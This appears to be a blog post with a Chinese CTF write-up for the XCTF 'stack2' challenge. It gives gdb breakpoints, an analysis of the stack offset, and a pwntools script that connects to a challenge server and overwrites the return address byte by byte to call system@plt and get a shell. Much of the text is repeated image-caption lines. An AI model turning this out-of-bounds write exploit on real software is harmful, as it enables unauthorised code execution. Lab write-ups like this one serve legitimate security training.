xctf---stack2 | gdb&IDA 调试

调试错误 | 忽视汇编代码

xctf---stack2 | gdb&IDA 调试

#@zer0_1s:调试0x0001
gdb ./stack2
disas main
b * 0x08048834  //new num scanf 输入7测试
b *  0x080488f2//ret

xctf---stack2 | gdb&IDA 调试

xctf---stack2 | gdb&IDA 调试
xctf---stack2 | gdb&IDA 调试
xctf---stack2 | gdb&IDA 调试

正确调试 | 汇编+源码分析

从下图可知:第一次Give me your number,v13[0]=v7,即有办法确定函数的首地址,
xctf---stack2 | gdb&IDA 调试
在0x080486BD处可以锁定scanf的位置
xctf---stack2 | gdb&IDA 调试
在call scanf之前先eax=&(ebp+var_88),栈地址压栈(指针入栈),只读字符串"%d"入栈,输入的数会由指针指向,*(ebp+var_88)=输入,经由eax=输入,ecx=输入,mov [eax],cl相当于[m]=cl=>eax:m->cl(输入),v13的首地址即是此时的eax.
xctf---stack2 | gdb&IDA 调试

gdb ./stack2
b *0x080486D5
b *0x080488f2
r
输入 1 1(分开的)
b *0x80486d7

xctf---stack2 | gdb&IDA 调试

xctf---stack2 | gdb&IDA 调试
xctf---stack2 | gdb&IDA 调试

偏移量0x84=132
本地跑的通,但是远程不行。
xctf---stack2 | gdb&IDA 调试
xctf---stack2 | gdb&IDA 调试
借助/bin/bash可以提取出sh,而system函数不能用原来的,所以相当于第一次调用,system@plt
xctf---stack2 | gdb&IDA 调试
xctf---stack2 | gdb&IDA 调试

xctf---stack2 | gdb&IDA 调试
xctf---stack2 | gdb&IDA 调试
脚本来源

from pwn import *
#context.log_level = ‘debug‘

r = remote("220.249.52.133",56558)
#r = process("./stack2")

r.recvuntil("How many numbers you have:\n")
r.sendline("1")
r.recvuntil("Give me your numbers\n")
r.sendline("1")

def change(addr, num):
    r.recvuntil("5. exit\n")
    r.sendline("3")
    r.recvuntil("which number to change:\n")
    r.sendline(str(addr))
    r.recvuntil("new number:\n")
    r.sendline(str(num))

change(0x84, 0x50)
change(0x85, 0x84)
change(0x86, 0x04)
change(0x87, 0x08)
change(0x8c, 0x87)
change(0x8d, 0x89)
change(0x8e, 0x04)
change(0x8f, 0x08)

r.sendline("5")

r.interactive()

参考

xctf---stack2 | gdb&IDA 调试

上一篇:CentOS 7 MySQL5.7 主从配置-GTID 全自动安装脚本


下一篇:WPF rotate animation